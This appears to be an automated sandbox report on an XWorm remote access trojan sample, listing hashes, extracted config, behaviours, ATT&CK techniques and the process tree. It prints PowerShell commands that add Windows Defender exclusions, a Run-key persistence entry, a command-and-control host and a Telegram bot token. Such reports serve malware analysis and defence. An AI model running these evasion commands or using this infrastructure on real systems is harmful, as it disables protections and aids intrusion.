xworm | e88aa8d74b81ed8d6f181c65507392554fad0f64bab8a91136c6370813f1e0ee

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
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General

Target
657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe
Size 74KB
Sample250101-bpmpla1phl
SHA256 657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427
MD5 44217b6e8f45f82ebffe92321639290b
SHA1 6bd7da4585d438bc28d5350b9415b6d73b32e807
SHA512 a68f7f194aadd63dcfad5af49dac4def19748e8fb657ab4cc06b514a1a7a2f5fb42424cb1a54a259987487558f2f2c950a1fd219a59f9b27ef826774ae27e7c8
SSDEEP 1536:FNhc3BhmLTzjuReXV2y+bo0QnRr6wDeTJPovOoRnaRxsZP:1cxEWRsV2y+boveoOoRN5
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

userxmorma-27072.portmap.host:27072

Attributes

Install_directory
%ProgramData%
install_file
svchost.exe
telegram
https://api.telegram.org/bot8050356849:AAGkujkVbiAoFzC-JTeiZPs5sCb3sdrY2sU/sendMessage?chat_id=8050356849

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4056-1-0x0000000000810000-0x0000000000828000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1656	powershell.exe
2824	powershell.exe
4968	powershell.exe
4104	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\ProgramData\\svchost.exe"	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2824	powershell.exe
2824	powershell.exe
4968	powershell.exe
4968	powershell.exe
4104	powershell.exe
4104	powershell.exe
1656	powershell.exe
1656	powershell.exe
4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4056 wrote to memory of 2824	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe	84
PID 4056 wrote to memory of 2824	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe	84
PID 4056 wrote to memory of 4968	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe	88
PID 4056 wrote to memory of 4968	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe	88
PID 4056 wrote to memory of 4104	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe	92
PID 4056 wrote to memory of 4104	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe	92
PID 4056 wrote to memory of 1656	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe	95
PID 4056 wrote to memory of 1656	4056	657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe	95

C:\Users\Admin\AppData\Local\Temp\657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe
"C:\Users\Admin\AppData\Local\Temp\657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '657dcc3378b3dbbd131926612fb00e67683ccbc64dc2d743fce213734804f427.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1
MD5 ba169f4dcbbf147fe78ef0061a95e83b
SHA1 92a571a6eef49fff666e0f62a3545bcd1cdcda67
SHA512 8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c
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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d
MD5 34f595487e6bfd1d11c7de88ee50356a
SHA1 4caad088c15766cc0fa1f42009260e9a02f953bb
SHA512 10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b
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__PSScriptPolicyTest_0qioicbz.sae.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qioicbz.sae.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/2824-7-0x000001DAB0D10000-0x000001DAB0D32000-memory.dmp

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memory/2824-14-0x00007FF824830000-0x00007FF8252F1000-memory.dmp

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memory/2824-17-0x00007FF824830000-0x00007FF8252F1000-memory.dmp

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memory/2824-13-0x00007FF824830000-0x00007FF8252F1000-memory.dmp

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memory/2824-12-0x00007FF824830000-0x00007FF8252F1000-memory.dmp

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memory/4056-0-0x00007FF824833000-0x00007FF824835000-memory.dmp

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memory/4056-1-0x0000000000810000-0x0000000000828000-memory.dmp

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memory/4056-56-0x00007FF824830000-0x00007FF8252F1000-memory.dmp

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memory/4056-57-0x00007FF824830000-0x00007FF8252F1000-memory.dmp

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